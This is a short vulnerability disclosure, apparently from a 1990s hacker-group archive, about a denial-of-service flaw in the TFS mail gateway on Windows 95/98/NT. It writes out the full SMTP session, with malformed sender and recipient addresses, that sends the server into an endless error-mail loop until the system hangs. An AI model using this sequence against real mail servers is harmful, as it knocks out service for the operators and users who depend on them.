Target: TFS mail system 4 (i think its working on earlier version aswell) (TFS just got some award about there security about emails) Company makes the product: www.tenfour.se OS: win95 98 nt Reported by: FableMan Noxidus a member of #HACK on IRCNet a DoS routine: Makes a FAST loop generating loooots of emails until its forced to stop by admin. what i did is: TELNET TARGETSYSTEMRUNNING.TFS.MAIL.GATE.XXX 25 typing HELO typing MAIL FROM:FABLEMAN NOXIDUS RCPT TO:FIXYOUR RCPT TO:FIXYOUR SYSTEM. () TARGETSYSTEMRUNNING TFS MAIL GATE XXX DATA Fix you system Error found by FableMan Noxidus a #HACK member of IRCNet . QUIT Thats all now the system tries to send to FIXYOUR Thats all now the system tries to send to FIXYOUR SYSTEM. () TARGETSYSTEMRUNNING TFS MAIL GATE XXX but that address is wrong soo then it generates a reporterror and mails to FABLEMAN NOXIDUS but cos i havent included a @ then i will not go out on internet then the loops starts.. its generating a reporterror and the loop is a truh.. I found it when i was playing around with a TFS mail gate system.. The speed of error report generation is about 1 or more email /sec soo if you start the loop and after 1 hr its a loot of email generated... until windows or NT hangs cos of it
